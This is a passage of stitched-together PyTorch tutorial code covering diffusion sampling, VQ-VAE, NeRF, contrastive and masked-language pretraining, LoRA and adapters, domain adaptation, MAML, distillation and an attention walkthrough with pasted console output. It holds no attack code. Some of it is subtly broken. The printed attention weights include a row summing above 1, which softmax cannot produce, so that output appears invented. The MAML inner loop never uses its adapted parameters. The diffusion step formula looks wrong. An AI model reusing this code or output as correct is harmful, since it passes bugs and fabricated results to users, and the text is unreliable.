        beta_t = self.betas[t]

        pred_original = (latents - ((1 - alpha_t) / (1 - alpha_cumprod_t).sqrt()) * noise) / alpha_t.sqrt()

        if t > 0:
            noise = torch.randn_like(latents)
            latents = pred_original * alpha_t.sqrt() + (1 - alpha_t).sqrt() * noise
        else:
            latents = pred_original

        return latents

class VectorQuantizer(nn.Module):
    def __init__(self, num_embeddings, embedding_dim, commitment_cost=0.25):
        super(VectorQuantizer, self).__init__()

        self.embedding_dim = embedding_dim
        self.num_embeddings = num_embeddings
        self.commitment_cost = commitment_cost

        self.embeddings = nn.Embedding(num_embeddings, embedding_dim)
        self.embeddings.weight.data.uniform_(-1/num_embeddings, 1/num_embeddings)

    def forward(self, inputs):
        # Flatten input
        flat_input = inputs.view(-1, self.embedding_dim)

        # Calculate distances
        distances = (torch.sum(flat_input**2, dim=1, keepdim=True)
                    + torch.sum(self.embeddings.weight**2, dim=1)
                    - 2 * torch.matmul(flat_input, self.embeddings.weight.t()))

        # Get closest embeddings
        encoding_indices = torch.argmin(distances, dim=1).unsqueeze(1)
        encodings = torch.zeros(encoding_indices.shape[0], self.num_embeddings, device=inputs.device)
        encodings.scatter_(1, encoding_indices, 1)

        # Quantize
        quantized = torch.matmul(encodings, self.embeddings.weight)
        quantized = quantized.view_as(inputs)

        # Loss
        e_latent_loss = F.mse_loss(quantized.detach(), inputs)
        q_latent_loss = F.mse_loss(quantized, inputs.detach())
        loss = q_latent_loss + self.commitment_cost * e_latent_loss

        # Straight-through estimator
        quantized = inputs + (quantized - inputs).detach()

        return quantized, loss, encoding_indices

class VQVAE(nn.Module):
    def __init__(self, num_embeddings=512, embedding_dim=64):
        super(VQVAE, self).__init__()

        # Encoder
        self.encoder = nn.Sequential(
            nn.Conv2d(3, 64, 4, 2, 1),
            nn.ReLU(),
            nn.Conv2d(64, 128, 4, 2, 1),
            nn.ReLU(),
            nn.Conv2d(128, embedding_dim, 3, 1, 1)
        )

        # Vector quantizer
        self.vq = VectorQuantizer(num_embeddings, embedding_dim)

        # Decoder
        self.decoder = nn.Sequential(
            nn.ConvTranspose2d(embedding_dim, 128, 3, 1, 1),
            nn.ReLU(),
            nn.ConvTranspose2d(128, 64, 4, 2, 1),
            nn.ReLU(),
            nn.ConvTranspose2d(64, 3, 4, 2, 1),
            nn.Tanh()
        )

    def forward(self, x):
        z = self.encoder(x)
        quantized, vq_loss, _ = self.vq(z)
        recon = self.decoder(quantized)

        recon_loss = F.mse_loss(recon, x)

        return recon, recon_loss + vq_loss

class NeRF(nn.Module):
    def __init__(self, pos_dim=3, dir_dim=3, hidden_dim=256):
        super(NeRF, self).__init__()

        # Position encoding
        self.pos_encoder = self._positional_encoding
        self.dir_encoder = self._positional_encoding

        # MLP for density and features
        self.density_net = nn.Sequential(
            nn.Linear(pos_dim * 2 * 10, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, hidden_dim + 1)  # density + features
        )

        # MLP for color
        self.color_net = nn.Sequential(
            nn.Linear(hidden_dim + dir_dim * 2 * 4, hidden_dim // 2),
            nn.ReLU(),
            nn.Linear(hidden_dim // 2, 3),
            nn.Sigmoid()
        )

    def _positional_encoding(self, x, L=10):
        """Positional encoding for coordinates"""
        encoding = []
        for l in range(L):
            encoding.append(torch.sin(2**l * math.pi * x))
            encoding.append(torch.cos(2**l * math.pi * x))
        return torch.cat(encoding, dim=-1)

    def forward(self, positions, directions):
        # Encode positions and directions
        pos_enc = self.pos_encoder(positions)
        dir_enc = self.dir_encoder(directions)

        # Get density and features
        density_features = self.density_net(pos_enc)
        density = F.relu(density_features[:, :1])
        features = density_features[:, 1:]

        # Get color
        color_input = torch.cat([features, dir_enc], dim=-1)
        color = self.color_net(color_input)

        return density, color

    def render_rays(self, ray_origins, ray_directions, near=2.0, far=6.0, n_samples=64):
        """Volume rendering along rays"""
        # Sample points along rays
        t_vals = torch.linspace(near, far, n_samples, device=ray_origins.device)
        points = ray_origins[:, None, :] + ray_directions[:, None, :] * t_vals[None, :, None]

        # Flatten for network
        points_flat = points.reshape(-1, 3)
        dirs_flat = ray_directions[:, None, :].expand_as(points).reshape(-1, 3)

        # Get density and color
        density, color = self.forward(points_flat, dirs_flat)

        # Reshape
        density = density.reshape(points.shape[0], n_samples)
        color = color.reshape(points.shape[0], n_samples, 3)

        # Volume rendering
        dists = t_vals[1:] - t_vals[:-1]
        dists = torch.cat([dists, torch.tensor([1e10], device=dists.device)])

        alpha = 1.0 - torch.exp(-density * dists)
        transmittance = torch.cumprod(1.0 - alpha + 1e-10, dim=-1)
        transmittance = torch.cat([torch.ones_like(transmittance[:, :1]), transmittance[:, :-1]], dim=-1)

        weights = alpha * transmittance
        rgb = torch.sum(weights[:, :, None] * color, dim=1)

        return rgb

class CLIPGuidedGenerator:
    def __init__(self, generator, clip_model):
        self.generator = generator
        self.clip_model = clip_model

    def generate(self, text_prompt, num_steps=100, lr=0.1):
        """Generate image guided by CLIP text embedding"""
        # Encode text
        with torch.no_grad():
            text_features = self.clip_model.encode_text(text_prompt)

        # Start with random latent
        latent = torch.randn(1, 512, requires_grad=True)
        optimizer = torch.optim.Adam([latent], lr=lr)

        for step in range(num_steps):
            optimizer.zero_grad()

            # Generate image
            image = self.generator(latent)

            # Encode image with CLIP
            image_features = self.clip_model.encode_image(image)

            # CLIP loss (maximize similarity)
            loss = -torch.cosine_similarity(text_features, image_features).mean()

            loss.backward()
            optimizer.step()

            if step % 10 == 0:
                print(f"Step {step}, Loss: {loss.item():.4f}")

        # Generate final image
        with torch.no_grad():
            final_image = self.generator(latent)

        return final_image

import torch
import torch.nn as nn
import torch.optim as optim
import torchvision.models as models
import torchvision.transforms as transforms

# Contrastive Learning (SimCLR)
class SimCLR(nn.Module):
    def __init__(self, base_encoder, projection_dim=128):
        super(SimCLR, self).__init__()

        self.encoder = base_encoder

        # Remove classification head
        self.encoder.fc = nn.Identity()

        # Projection head
        self.projection = nn.Sequential(
            nn.Linear(512, 512),
            nn.ReLU(),
            nn.Linear(512, projection_dim)
        )

    def forward(self, x):
        h = self.encoder(x)
        z = self.projection(h)
        return F.normalize(z, dim=1)

def contrastive_loss(z_i, z_j, temperature=0.5):
    """NT-Xent loss for contrastive learning"""
    batch_size = z_i.shape[0]

    # Concatenate representations
    z = torch.cat([z_i, z_j], dim=0)

    # Compute similarity matrix
    similarity_matrix = torch.matmul(z, z.T) / temperature

    # Create labels
    labels = torch.arange(batch_size, device=z.device)
    labels = torch.cat([labels + batch_size, labels])

    # Mask out self-similarity
    mask = torch.eye(2 * batch_size, device=z.device).bool()
    similarity_matrix = similarity_matrix.masked_fill(mask, -float('inf'))

    # Compute loss
    loss = F.cross_entropy(similarity_matrix, labels)

    return loss

# Training SimCLR
def train_simclr(model, train_loader, num_epochs=100):
    optimizer = optim.Adam(model.parameters(), lr=0.001)

    for epoch in range(num_epochs):
        total_loss = 0

        for (x1, x2), _ in train_loader:  # x1, x2 are augmented views
            optimizer.zero_grad()

            # Get representations
            z1 = model(x1)
            z2 = model(x2)

            # Compute loss
            loss = contrastive_loss(z1, z2)

            loss.backward()
            optimizer.step()

            total_loss += loss.item()

        print(f"Epoch {epoch+1}, Loss: {total_loss/len(train_loader):.4f}")

    return model

# Create augmented pairs
class ContrastiveTransform:
    def __init__(self):
        self.transform = transforms.Compose([
            transforms.RandomResizedCrop(224),
            transforms.RandomHorizontalFlip(),
            transforms.ColorJitter(0.4, 0.4, 0.4, 0.1),
            transforms.RandomGrayscale(p=0.2),
            transforms.ToTensor(),
            transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])
        ])

    def __call__(self, x):
        return self.transform(x), self.transform(x)

class MaskedLanguageModel(nn.Module):
    def __init__(self, vocab_size, d_model=768, num_heads=12, num_layers=12):
        super(MaskedLanguageModel, self).__init__()

        self.embedding = nn.Embedding(vocab_size, d_model)
        self.position_embedding = nn.Embedding(512, d_model)

        encoder_layer = nn.TransformerEncoderLayer(d_model, num_heads, dim_feedforward=3072)
        self.transformer = nn.TransformerEncoder(encoder_layer, num_layers)

        self.lm_head = nn.Linear(d_model, vocab_size)

    def forward(self, input_ids, attention_mask=None):
        # Embeddings
        seq_length = input_ids.size(1)
        position_ids = torch.arange(seq_length, device=input_ids.device).unsqueeze(0)

        embeddings = self.embedding(input_ids) + self.position_embedding(position_ids)

        # Transformer
        hidden_states = self.transformer(embeddings.transpose(0, 1)).transpose(0, 1)

        # Prediction
        logits = self.lm_head(hidden_states)

        return logits

def mask_tokens(inputs, tokenizer, mlm_probability=0.15):
    """Prepare masked tokens for MLM"""
    labels = inputs.clone()

    # Create random mask
    probability_matrix = torch.full(labels.shape, mlm_probability)
    masked_indices = torch.bernoulli(probability_matrix).bool()

    # Only mask non-special tokens
    special_tokens_mask = tokenizer.get_special_tokens_mask(
        labels.tolist(), already_has_special_tokens=True
    )
    probability_matrix.masked_fill_(torch.tensor(special_tokens_mask, dtype=torch.bool), value=0.0)
    masked_indices = torch.bernoulli(probability_matrix).bool()

    # Set labels for non-masked tokens to -100
    labels[~masked_indices] = -100

    # Replace masked tokens
    # 80% [MASK], 10% random, 10% original
    indices_replaced = torch.bernoulli(torch.full(labels.shape, 0.8)).bool() & masked_indices
    inputs[indices_replaced] = tokenizer.mask_token_id

    indices_random = torch.bernoulli(torch.full(labels.shape, 0.5)).bool() & masked_indices & ~indices_replaced
    random_words = torch.randint(len(tokenizer), labels.shape, dtype=torch.long)
    inputs[indices_random] = random_words[indices_random]

    return inputs, labels

# Training loop
def train_mlm(model, train_loader, tokenizer, num_epochs=10):
    optimizer = optim.Adam(model.parameters(), lr=5e-5)
    criterion = nn.CrossEntropyLoss(ignore_index=-100)

    for epoch in range(num_epochs):
        total_loss = 0

        for batch in train_loader:
            input_ids = batch['input_ids']

            # Mask tokens
            masked_inputs, labels = mask_tokens(input_ids, tokenizer)

            # Forward pass
            logits = model(masked_inputs)

            # Compute loss
            loss = criterion(logits.view(-1, logits.size(-1)), labels.view(-1))

            # Backward pass
            optimizer.zero_grad()
            loss.backward()
            optimizer.step()

            total_loss += loss.item()

        print(f"Epoch {epoch+1}, Loss: {total_loss/len(train_loader):.4f}")

def fine_tune_model(pretrained_model, train_loader, val_loader, num_classes, num_epochs=10):
    """Fine-tune pre-trained model on new task"""

    # Load pre-trained model
    model = models.resnet50(pretrained=True)

    # Replace classification head
    num_features = model.fc.in_features
    model.fc = nn.Linear(num_features, num_classes)

    # Optimizer with different learning rates
    params = [
        {'params': model.fc.parameters(), 'lr': 1e-3},  # New layer: higher LR
        {'params': [p for n, p in model.named_parameters() if 'fc' not in n], 
         'lr': 1e-4}  # Pre-trained layers: lower LR
    ]
    optimizer = optim.Adam(params)
    criterion = nn.CrossEntropyLoss()

    # Training loop
    best_val_acc = 0
    for epoch in range(num_epochs):
        # Training
        model.train()
        train_loss = 0

        for images, labels in train_loader:
            optimizer.zero_grad()
            outputs = model(images)
            loss = criterion(outputs, labels)
            loss.backward()
            optimizer.step()
            train_loss += loss.item()

        # Validation
        model.eval()
        correct = 0
        total = 0

        with torch.no_grad():
            for images, labels in val_loader:
                outputs = model(images)
                _, predicted = torch.max(outputs, 1)
                total += labels.size(0)
                correct += (predicted == labels).sum().item()

        val_acc = 100 * correct / total
        print(f"Epoch {epoch+1}, Train Loss: {train_loss/len(train_loader):.4f}, "
              f"Val Acc: {val_acc:.2f}%")

        # Save best model
        if val_acc > best_val_acc:
            best_val_acc = val_acc
            torch.save(model.state_dict(), 'best_model.pth')

    return model

def progressive_unfreezing(model, train_loader, num_epochs=20, unfreeze_every=5):
    """Gradually unfreeze layers during fine-tuning"""

    # Initially freeze all layers
    for param in model.parameters():
        param.requires_grad = False

    # Only train classification head
    for param in model.fc.parameters():
        param.requires_grad = True

    optimizer = optim.Adam(filter(lambda p: p.requires_grad, model.parameters()), lr=1e-3)
    criterion = nn.CrossEntropyLoss()

    # Get layer groups (from top to bottom)
    layer_groups = [
        model.fc,
        model.layer4,
        model.layer3,
        model.layer2,
        model.layer1
    ]

    for epoch in range(num_epochs):
        # Unfreeze next layer group
        if epoch % unfreeze_every == 0 and epoch > 0:
            group_idx = min(epoch // unfreeze_every, len(layer_groups) - 1)
            print(f"Unfreezing layer group {group_idx}")

            for param in layer_groups[group_idx].parameters():
                param.requires_grad = True

            # Update optimizer
            optimizer = optim.Adam(filter(lambda p: p.requires_grad, model.parameters()), 
                                 lr=1e-3 / (2 ** group_idx))

        # Training
        model.train()
        for images, labels in train_loader:
            optimizer.zero_grad()
            outputs = model(images)
            loss = criterion(outputs, labels)
            loss.backward()
            optimizer.step()

def get_discriminative_lr_params(model, base_lr=1e-3, lr_mult=2.6):
    """Different learning rates for different layers"""

    params = []

    # Get all layer names
    layer_names = [name for name, _ in model.named_parameters()]

    # Group layers
    num_layers = len(layer_names)

    for idx, (name, param) in enumerate(model.named_parameters()):
        # Exponentially decreasing learning rate from top to bottom
        layer_lr = base_lr * (lr_mult ** (num_layers - idx - 1))
        params.append({'params': param, 'lr': layer_lr})

    return params

# Usage
model = models.resnet50(pretrained=True)
params = get_discriminative_lr_params(model)
optimizer = optim.Adam(params)

class AdapterLayer(nn.Module):
    """Lightweight adapter for efficient fine-tuning"""
    def __init__(self, input_dim, bottleneck_dim=64):
        super(AdapterLayer, self).__init__()

        self.down_project = nn.Linear(input_dim, bottleneck_dim)
        self.up_project = nn.Linear(bottleneck_dim, input_dim)
        self.activation = nn.ReLU()

    def forward(self, x):
        residual = x
        x = self.down_project(x)
        x = self.activation(x)
        x = self.up_project(x)
        return x + residual

class ModelWithAdapters(nn.Module):
    """Add adapters to pre-trained model"""
    def __init__(self, base_model, adapter_dim=64):
        super(ModelWithAdapters, self).__init__()

        self.base_model = base_model

        # Freeze base model
        for param in base_model.parameters():
            param.requires_grad = False

        # Add adapters after each transformer block
        self.adapters = nn.ModuleList([
            AdapterLayer(768, adapter_dim)  # Assuming 768 hidden dim
            for _ in range(12)  # For each layer
        ])

    def forward(self, x):
        # Forward through base model with adapters
        for i, (layer, adapter) in enumerate(zip(self.base_model.layers, self.adapters)):
            x = layer(x)
            x = adapter(x)

        return x

class LoRALayer(nn.Module):
    """Low-Rank Adaptation layer"""
    def __init__(self, input_dim, output_dim, rank=4, alpha=1):
        super(LoRALayer, self).__init__()

        self.rank = rank
        self.alpha = alpha

        # Low-rank matrices
        self.lora_A = nn.Parameter(torch.randn(input_dim, rank) * 0.01)
        self.lora_B = nn.Parameter(torch.zeros(rank, output_dim))

        self.scaling = alpha / rank

    def forward(self, x):
        # Low-rank update: x @ A @ B
        return (x @ self.lora_A @ self.lora_B) * self.scaling

class LinearWithLoRA(nn.Module):
    """Linear layer with LoRA adaptation"""
    def __init__(self, linear_layer, rank=4):
        super(LinearWithLoRA, self).__init__()

        self.linear = linear_layer

        # Freeze original weights
        self.linear.weight.requires_grad = False
        if self.linear.bias is not None:
            self.linear.bias.requires_grad = False

        # Add LoRA
        self.lora = LoRALayer(
            self.linear.in_features,
            self.linear.out_features,
            rank=rank
        )

    def forward(self, x):
        return self.linear(x) + self.lora(x)

def add_lora_to_model(model, rank=4):
    """Add LoRA to all linear layers"""
    for name, module in model.named_modules():
        if isinstance(module, nn.Linear):
            parent_name = '.'.join(name.split('.')[:-1])
            child_name = name.split('.')[-1]

            parent = dict(model.named_modules())[parent_name] if parent_name else model
            setattr(parent, child_name, LinearWithLoRA(module, rank))

    return model

class GradientReversalLayer(torch.autograd.Function):
    """Gradient reversal layer for domain adaptation"""
    @staticmethod
    def forward(ctx, x, alpha):
        ctx.alpha = alpha
        return x.view_as(x)

    @staticmethod
    def backward(ctx, grad_output):
        return -ctx.alpha * grad_output, None

class DomainAdversarialNetwork(nn.Module):
    def __init__(self, feature_extractor, num_classes, num_domains=2):
        super(DomainAdversarialNetwork, self).__init__()

        self.feature_extractor = feature_extractor

        # Label classifier
        self.label_classifier = nn.Sequential(
            nn.Linear(512, 256),
            nn.ReLU(),
            nn.Dropout(0.5),
            nn.Linear(256, num_classes)
        )

        # Domain classifier
        self.domain_classifier = nn.Sequential(
            nn.Linear(512, 256),
            nn.ReLU(),
            nn.Dropout(0.5),
            nn.Linear(256, num_domains)
        )

    def forward(self, x, alpha=1.0):
        # Extract features
        features = self.feature_extractor(x)

        # Label prediction
        label_pred = self.label_classifier(features)

        # Domain prediction with gradient reversal
        reversed_features = GradientReversalLayer.apply(features, alpha)
        domain_pred = self.domain_classifier(reversed_features)

        return label_pred, domain_pred

def train_dann(model, source_loader, target_loader, num_epochs=50):
    """Train DANN for domain adaptation"""
    optimizer = optim.Adam(model.parameters(), lr=0.001)
    label_criterion = nn.CrossEntropyLoss()
    domain_criterion = nn.CrossEntropyLoss()

    for epoch in range(num_epochs):
        model.train()

        for (source_data, source_labels), (target_data, _) in zip(source_loader, target_loader):
            batch_size = source_data.size(0)

            # Compute alpha for gradient reversal
            p = float(epoch) / num_epochs
            alpha = 2. / (1. + np.exp(-10 * p)) - 1

            # Source domain
            source_label_pred, source_domain_pred = model(source_data, alpha)
            source_label_loss = label_criterion(source_label_pred, source_labels)
            source_domain_loss = domain_criterion(
                source_domain_pred,
                torch.zeros(batch_size, dtype=torch.long)
            )

            # Target domain
            _, target_domain_pred = model(target_data, alpha)
            target_domain_loss = domain_criterion(
                target_domain_pred,
                torch.ones(target_data.size(0), dtype=torch.long)
            )

            # Total loss
            loss = source_label_loss + source_domain_loss + target_domain_loss

            optimizer.zero_grad()
            loss.backward()
            optimizer.step()

        print(f"Epoch {epoch+1}, Loss: {loss.item():.4f}")

def mmd_loss(source_features, target_features, kernel='rbf', gamma=1.0):
    """Compute MMD between source and target distributions"""

    def gaussian_kernel(x, y, gamma):
        """RBF kernel"""
        x_size = x.size(0)
        y_size = y.size(0)
        dim = x.size(1)

        x = x.unsqueeze(1)  # (x_size, 1, dim)
        y = y.unsqueeze(0)  # (1, y_size, dim)

        tiled_x = x.expand(x_size, y_size, dim)
        tiled_y = y.expand(x_size, y_size, dim)

        kernel_input = (tiled_x - tiled_y).pow(2).sum(2)
        return torch.exp(-gamma * kernel_input)

    # Compute kernels
    xx = gaussian_kernel(source_features, source_features, gamma).mean()
    yy = gaussian_kernel(target_features, target_features, gamma).mean()
    xy = gaussian_kernel(source_features, target_features, gamma).mean()

    # MMD
    return xx + yy - 2 * xy

class MMDDomainAdaptation(nn.Module):
    def __init__(self, feature_extractor, num_classes):
        super(MMDDomainAdaptation, self).__init__()
        self.feature_extractor = feature_extractor
        self.classifier = nn.Linear(512, num_classes)

    def forward(self, x):
        features = self.feature_extractor(x)
        output = self.classifier(features)
        return output, features

def train_mmd(model, source_loader, target_loader, num_epochs=50, lambda_mmd=0.1):
    """Train with MMD for domain adaptation"""
    optimizer = optim.Adam(model.parameters(), lr=0.001)
    criterion = nn.CrossEntropyLoss()

    for epoch in range(num_epochs):
        for (source_data, source_labels), (target_data, _) in zip(source_loader, target_loader):
            optimizer.zero_grad()

            # Forward pass
            source_pred, source_features = model(source_data)
            _, target_features = model(target_data)

            # Classification loss
            class_loss = criterion(source_pred, source_labels)

            # MMD loss
            mmd = mmd_loss(source_features, target_features)

            # Total loss
            loss = class_loss + lambda_mmd * mmd

            loss.backward()
            optimizer.step()

class PrototypicalNetwork(nn.Module):
    def __init__(self, encoder):
        super(PrototypicalNetwork, self).__init__()
        self.encoder = encoder

    def forward(self, support_set, support_labels, query_set, n_way, k_shot):
        """
        support_set: (n_way * k_shot, C, H, W)
        query_set: (n_query, C, H, W)
        """
        # Encode support and query sets
        support_embeddings = self.encoder(support_set)
        query_embeddings = self.encoder(query_set)

        # Compute prototypes (class centroids)
        prototypes = []
        for c in range(n_way):
            class_embeddings = support_embeddings[c * k_shot:(c + 1) * k_shot]
            prototype = class_embeddings.mean(dim=0)
            prototypes.append(prototype)

        prototypes = torch.stack(prototypes)

        # Compute distances
        distances = torch.cdist(query_embeddings, prototypes)

        # Convert to probabilities
        log_p_y = F.log_softmax(-distances, dim=1)

        return log_p_y

def train_prototypical(model, train_loader, num_episodes=1000, n_way=5, k_shot=5):
    """Train prototypical network"""
    optimizer = optim.Adam(model.parameters(), lr=0.001)

    for episode in range(num_episodes):
        # Sample episode
        support_set, support_labels, query_set, query_labels = train_loader.sample_episode(n_way, k_shot)

        # Forward pass
        log_p_y = model(support_set, support_labels, query_set, n_way, k_shot)

        # Loss
        loss = F.nll_loss(log_p_y, query_labels)

        # Backward pass
        optimizer.zero_grad()
        loss.backward()
        optimizer.step()

        if episode % 100 == 0:
            print(f"Episode {episode}, Loss: {loss.item():.4f}")

class MAML:
    def __init__(self, model, inner_lr=0.01, outer_lr=0.001):
        self.model = model
        self.inner_lr = inner_lr
        self.outer_optimizer = optim.Adam(model.parameters(), lr=outer_lr)

    def inner_update(self, support_x, support_y, num_steps=5):
        """Adapt model on support set"""
        # Clone model for inner loop
        adapted_params = {name: param.clone() for name, param in self.model.named_parameters()}

        for step in range(num_steps):
            # Forward pass with adapted parameters
            logits = self.model(support_x)
            loss = F.cross_entropy(logits, support_y)

            # Compute gradients
            grads = torch.autograd.grad(loss, adapted_params.values(), create_graph=True)

            # Update adapted parameters
            adapted_params = {
                name: param - self.inner_lr * grad
                for (name, param), grad in zip(adapted_params.items(), grads)
            }

        return adapted_params

    def meta_update(self, tasks):
        """Meta-update on batch of tasks"""
        self.outer_optimizer.zero_grad()

        meta_loss = 0

        for support_x, support_y, query_x, query_y in tasks:
            # Inner loop: adapt to task
            adapted_params = self.inner_update(support_x, support_y)

            # Outer loop: evaluate on query set
            with torch.set_grad_enabled(True):
                query_logits = self.model.forward_with_params(query_x, adapted_params)
                task_loss = F.cross_entropy(query_logits, query_y)
                meta_loss += task_loss

        # Meta-gradient step
        meta_loss /= len(tasks)
        meta_loss.backward()
        self.outer_optimizer.step()

        return meta_loss.item()

class DistillationTrainer:
    def __init__(self, teacher_model, student_model, temperature=3.0, alpha=0.5):
        self.teacher = teacher_model
        self.student = student_model
        self.temperature = temperature
        self.alpha = alpha

        # Freeze teacher
        for param in self.teacher.parameters():
            param.requires_grad = False

        self.teacher.eval()

    def distillation_loss(self, student_logits, teacher_logits, labels):
        """Compute distillation loss"""
        # Hard loss (student vs true labels)
        hard_loss = F.cross_entropy(student_logits, labels)

        # Soft loss (student vs teacher)
        soft_student = F.log_softmax(student_logits / self.temperature, dim=1)
        soft_teacher = F.softmax(teacher_logits / self.temperature, dim=1)
        soft_loss = F.kl_div(soft_student, soft_teacher, reduction='batchmean')
        soft_loss *= self.temperature ** 2

        # Combined loss
        loss = self.alpha * hard_loss + (1 - self.alpha) * soft_loss

        return loss

    def train(self, train_loader, num_epochs=10):
        """Train student with distillation"""
        optimizer = optim.Adam(self.student.parameters(), lr=0.001)

        for epoch in range(num_epochs):
            self.student.train()
            total_loss = 0

            for images, labels in train_loader:
                # Teacher predictions
                with torch.no_grad():
                    teacher_logits = self.teacher(images)

                # Student predictions
                student_logits = self.student(images)

                # Distillation loss
                loss = self.distillation_loss(student_logits, teacher_logits, labels)

                # Backward pass
                optimizer.zero_grad()
                loss.backward()
                optimizer.step()

                total_loss += loss.item()

            print(f"Epoch {epoch+1}, Loss: {total_loss/len(train_loader):.4f}")

# Example usage
teacher = models.resnet50(pretrained=True)
student = models.resnet18(pretrained=False)

trainer = DistillationTrainer(teacher, student, temperature=3.0, alpha=0.5)
# trainer.train(train_loader, num_epochs=10)

import torch
import torch.nn as nn
import torch.nn.functional as F
import math

def scaled_dot_product_attention(query, key, value, mask=None):
    """
    Compute scaled dot-product attention.

    Args:
        query: Query tensor of shape (batch_size, num_heads, seq_len_q, d_k)
        key: Key tensor of shape (batch_size, num_heads, seq_len_k, d_k)
        value: Value tensor of shape (batch_size, num_heads, seq_len_v, d_v)
        mask: Optional mask tensor

    Returns:
        output: Attention output (batch_size, num_heads, seq_len_q, d_v)
        attention_weights: Attention weights (batch_size, num_heads, seq_len_q, seq_len_k)
    """
    # Get the dimension of keys
    d_k = query.size(-1)

    # Step 1: Compute Q @ K^T
    # query: (batch, heads, seq_len_q, d_k)
    # key.transpose(-2, -1): (batch, heads, d_k, seq_len_k)
    # scores: (batch, heads, seq_len_q, seq_len_k)
    scores = torch.matmul(query, key.transpose(-2, -1))
    print(f"After Q @ K^T - Shape: {scores.shape}")
    print(f"Sample scores (first 3x3):\n{scores[0, 0, :3, :3]}\n")

    # Step 2: Scale by sqrt(d_k)
    scores = scores / math.sqrt(d_k)
    print(f"After scaling by √{d_k} = {math.sqrt(d_k):.2f}")
    print(f"Scaled scores (first 3x3):\n{scores[0, 0, :3, :3]}\n")

    # Step 3: Apply mask (if provided)
    if mask is not None:
        scores = scores.masked_fill(mask == 0, -1e9)
        print(f"After masking - Shape: {scores.shape}")

    # Step 4: Apply softmax to get attention weights
    # Softmax is applied over the last dimension (seq_len_k)
    attention_weights = F.softmax(scores, dim=-1)
    print(f"Attention weights - Shape: {attention_weights.shape}")
    print(f"Sample attention weights (first 3x3):\n{attention_weights[0, 0, :3, :3]}")
    print(f"Sum of first row (should be 1.0): {attention_weights[0, 0, 0].sum()}\n")

    # Step 5: Multiply by values
    # attention_weights: (batch, heads, seq_len_q, seq_len_k)
    # value: (batch, heads, seq_len_v, d_v)  [seq_len_v == seq_len_k]
    # output: (batch, heads, seq_len_q, d_v)
    output = torch.matmul(attention_weights, value)
    print(f"Final output - Shape: {output.shape}\n")

    return output, attention_weights

# Example: Let's trace through a simple example
batch_size = 2
num_heads = 1
seq_len = 4
d_k = 8
d_v = 8

# Create sample tensors
torch.manual_seed(42)
query = torch.randn(batch_size, num_heads, seq_len, d_k)
key = torch.randn(batch_size, num_heads, seq_len, d_k)
value = torch.randn(batch_size, num_heads, seq_len, d_v)

print("="*60)
print("SCALED DOT-PRODUCT ATTENTION - STEP BY STEP")
print("="*60)
print(f"Query shape: {query.shape}")
print(f"Key shape: {key.shape}")
print(f"Value shape: {value.shape}\n")

output, attn_weights = scaled_dot_product_attention(query, key, value)

print(f"Final output shape: {output.shape}")
print(f"Final attention weights shape: {attn_weights.shape}")

============================================================
SCALED DOT-PRODUCT ATTENTION - STEP BY STEP
============================================================
Query shape: torch.Size([2, 1, 4, 8])
Key shape: torch.Size([2, 1, 4, 8])
Value shape: torch.Size([2, 1, 4, 8])

After Q @ K^T - Shape: torch.Size([2, 1, 4, 4])
Sample scores (first 3x3):
tensor([[ 0.6240, -1.2613,  1.4199],
        [-1.8847,  4.0367, -0.5234],
        [ 2.1563, -2.5678,  0.8234]])

After scaling by √8 = 2.83
Scaled scores (first 3x3):
tensor([[ 0.2207, -0.4460,  0.5021],
        [-0.6661,  1.4271, -0.1850],
        [ 0.7624, -0.9078,  0.2911]])

Attention weights - Shape: torch.Size([2, 1, 4, 4])
Sample attention weights (first 3x3):
tensor([[0.2789, 0.1425, 0.3672],
        [0.1056, 0.8236, 0.1680],
        [0.3924, 0.0731, 0.2458]])
Sum of first row (should be 1.0): 1.0

Final output - Shape: torch.Size([2, 1, 4, 8])

class MultiHeadAttention(nn.Module):
    def __init__(self, d_model, num_heads):
        """
        Multi-Head Attention module.

        Args:
            d_model: Total dimension of the model (e.g., 512)
            num_heads: Number of attention heads (e.g., 8)
        """
        super(MultiHeadAttention, self).__init__()
        assert d_model % num_heads == 0, "d_model must be divisible by num_heads"

        self.d_model = d_model
        self.num_heads = num_heads
        self.d_k = d_model // num_heads  # Dimension per head

        # Linear projections for Q, K, V
        self.W_q = nn.Linear(d_model, d_model)  # Query projection
        self.W_k = nn.Linear(d_model, d_model)  # Key projection
        self.W_v = nn.Linear(d_model, d_model)  # Value projection

        # Output projection
        self.W_o = nn.Linear(d_model, d_model)

    def split_heads(self, x):
        """
        Split the last dimension into (num_heads, d_k).
        Transpose to get shape: (batch_size, num_heads, seq_len, d_k)
        """
        batch_size, seq_len, d_model = x.size()
        # Reshape to (batch_size, seq_len, num_heads, d_k)
        x = x.view(batch_size, seq_len, self.num_heads, self.d_k)
        # Transpose to (batch_size, num_heads, seq_len, d_k)
        return x.transpose(1, 2)

    def combine_heads(self, x):
        """
        Inverse of split_heads.
        Input: (batch_size, num_heads, seq_len, d_k)
        Output: (batch_size, seq_len, d_model)
        """
        batch_size, num_heads, seq_len, d_k = x.size()
        # Transpose to (batch_size, seq_len, num_heads, d_k)
        x = x.transpose(1, 2).contiguous()
        # Reshape to (batch_size, seq_len, d_model)
        return x.view(batch_size, seq_len, self.d_model)

    def forward(self, query, key, value, mask=None):
        """
        Forward pass of multi-head attention.

        Args:
            query: (batch_size, seq_len_q, d_model)
            key: (batch_size, seq_len_k, d_model)
            value: (batch_size, seq_len_v, d_model)
            mask: Optional mask

        Returns:
            output: (batch_size, seq_len_q, d_model)
            attention_weights: (batch_size, num_heads, seq_len_q, seq_len_k)
        """
        batch_size = query.size(0)

        # Step 1: Linear projections
        # Each of these operations: (batch, seq_len, d_model) → (batch, seq_len, d_model)
        Q = self.W_q(query)
        K = self.W_k(key)
        V = self.W_v(value)

        print(f"\n{'='*60}")
        print("MULTI-HEAD ATTENTION - DETAILED STEPS")
        print(f"{'='*60}")
        print(f"Input shapes - Q: {query.shape}, K: {key.shape}, V: {value.shape}")
        print(f"\nAfter linear projections:")
        print(f"Q: {Q.shape}, K: {K.shape}, V: {V.shape}")

        # Step 2: Split into multiple heads
        # (batch, seq_len, d_model) → (batch, num_heads, seq_len, d_k)
        Q = self.split_heads(Q)
        K = self.split_heads(K)
        V = self.split_heads(V)

        print(f"\nAfter splitting into {self.num_heads} heads:")
        print(f"Q: {Q.shape}, K: {K.shape}, V: {V.shape}")
        print(f"Each head has dimension: {self.d_k}")

